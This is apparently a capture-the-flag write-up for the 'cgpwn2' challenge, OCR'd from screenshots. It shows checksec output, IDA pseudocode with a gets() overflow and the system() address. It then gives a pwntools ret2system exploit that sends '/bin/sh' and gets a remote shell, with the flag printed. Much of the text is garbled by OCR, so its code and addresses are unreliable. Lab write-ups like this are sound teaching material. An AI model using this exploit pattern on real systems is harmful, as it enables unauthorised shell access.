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checksec:

root@at-ubuntu:/home/atfwus/rop# checksec cgpwn2
[*]1 '/home/atfwus/rop/cgpwn2'

Arch: 1386-32-1ittle

RELRO:

Stack:
NX:
PIE:
root@at-ubuntu: /home/at fwus/rop# I
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{
setbuf(stdin, @);

setbuf(stdout, ©);
setbuf(stderr, ©);
hello();
puts("thank you");
return @;
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int __cdecl main(int argc, const char **argv, const char **envp)

lichar *hello()
2i{
3| char *v@; // eax

4| signed int v1; // ebx

5/ unsigned int v2; // ecx

6| char *v3; // eax

7| char s; // [esp+12h] [ebp-26h]
8| int v6; // [esp+14h] [ebp-24h]

9

18| ve = &s;

11 vl = 38;

12| if ( (unsigned int)&s & 2 )
13| {

14 *(_WORD *)&s = ©;
15 vl = (char *)&v6;
16 vl = 28;

17| }

18| v2 = 6;
19/ do

20

21 *(_DWORD *)&ve[v2] = @;

22 vZ += 4;

23| }

24| while ( v2 < (vl & @xFFFFFFFC) );
25| v3 = &ve[v2];

26| if (vl & 2 )

27| {

28 *(_WORD *)v3 = @;

29 V3 += 2;

38| }

31 if (v1 & 1)

32 *v3 = 8;

33| puts("please tell me your name");
34| fgets(name, 50, stdin);

35| puts("hello,you can leave some message here:");

36| return gets(&s);
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|f] Functions window o s x TDA View-A B [EPseudocode—A B [@] Loaded Type Libraries [ 51 Strings window £ G Hex View-1 &
.text:0804854D
.text:8804854D ; =============== 5 UB RO U T I N E =s=s===s=s===s=====c==============:
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Function name

_init_proc it .

<ub. 8048300 o .text:0804854D )

setbuf .p .text:0804854D ; Attributes: bp-based frame
e e .text:0804854D

fgets p .text:0804854D public pwn
_puts .p .text:0804854D pwn proc near
_system .p .text:0804854D ; _ unwind {

__ emon_start__ D .text:0804854D push ebp

__ libec_start_main . p| .text:0804854E mov ebp, esp
_start .t .text:08048558 sub esp, 18h
__x%86_get_pc_thunk_bx .t .text:0804 mov dword ptr [esp], offset command ; "echo hehehe”
deregister_tm_clones .t .text:0804855A call _system
register_tm_clones = -t .text:0804855F nop

__do_global dtors_a .t .text:08048560 leave

frame_du -t .text:08048561 retn

NI -t .text:08048561 ; } // starts at 8@4854D

hello -t .text:@8048561 pun endp

main o -t .text:08048561

—Libe_esu_init -t .text:@8048562

—thbc—csu—f“‘l ; .text:08048562 ; =============== S UB R O U T I N E ========================ssssooooa:
_term_proc .

setbuf .text:08048562

&x .text:@8048562 ; Attributes: bp-based frame
F i .text:08048562 _
puts exl .text:08048562 public hello )
o ex .text:08048562 hello proc near ; CODE XREF: main+48ip
libc_start_main ex| text:08048562
RORMEAE, HBNHbAL
.plt:e8e4842e
_plt:88848428 ; ] 5 U B R O U T I N E =
.plt:e8048420 -
.plt:e8e48420 ; ributes: thunk
.plt:e8e4842e
.plt:e8e4 ; int system(const char *command)
.plt:e8048420 _system proc near ; CODE XREF: pwn+Dlp
.plt:e8e4842e
.plt:080484206 command = dword ptr 4
.plt:e8e48420
1+ |-plt:e8e4842e jmp ds:off_8e4AelC
.plt:08048420 _system endp
.plt:e8e4842e
Lplt:@8B48426 5 -
.plt:e8e48426 push 2eh
— |.plt:0804842B jmp sub_86483De

1 |-plt:e8048430 ; [©0000006 BYTES: COLLAPSED FUNCTION __ gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND]
Lplt:@8B48436 5 -
.plt:e8048436 push 28h

systemifJ#iti-y: 0x08048420
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1/int pwn()
2
3
a4

}

return system("echo hehehe™);
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while ( v2 < (vl & @xFFFFFFFC) );
v3 = &velv2];

if (vl & 2)

*(_WORD ¥)v3 = 8;
V3 += 2;
¥
if (vl &1 )
V2 = @;
puts("plase tell me your name");
fgets(name, 5@, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
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}
RIEHATM A S Aname e &, FUHBCA, bl eREE, EF .

LUSS . 90U9RY0D dllgr £9rn

.bss:0804A080 public name

.bss:8804A080 ; char name[52]

.bss:0804A080 name db 34h dup(?) ; DI
.bss:0804A080 _bss ends

.bss :0804A080
.pr‘gend:@s@ﬂ-ﬂeaﬂ. ; ]

.prgend:0804A0B4

.prgend:0804A8B4 ; Segment type: Zero-length
.prgend:0804A8B4 _prgend segment byte public "' u:
.prgend:0804A8B4 _end label byte
.brgend:0804A0B4 breend ends
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0x02.exp

##!/usr/bin/env python
from pwn import*

#r=process('./cgpwn2")
r=remote("111.198.29.45",32269)

system_adr=0x08048420
name_adr=0x0804A080

payload=42*"A"'+p32(system_adr)+p32(0x0)+p32(name_adr)

.recvuntil("please tell me your name")
.sendline("/bin/sh™)

.recvuntil("hello,you can leave some message here:")
.sendline(payload)

b e B B B |

.interactive()



root@at-ubuntu:/home/atfwus/rop# python expcgpwnl.py
[+] Opening connection to 111.198.29.45 on port 32269: Done
[*] Switching to interactive mode

$ 1s

bin

cgpwn2

dev

flag

lib

1ibh32

1ib64

$ cat flag
cyberpeace{cc5077b45d3a8TadbT083d219d227518}

$ I ittps:/iblog.csdn.net/ ATFWUS




	cgpwn2---writeup
	0x01.分析
	0x02.exp

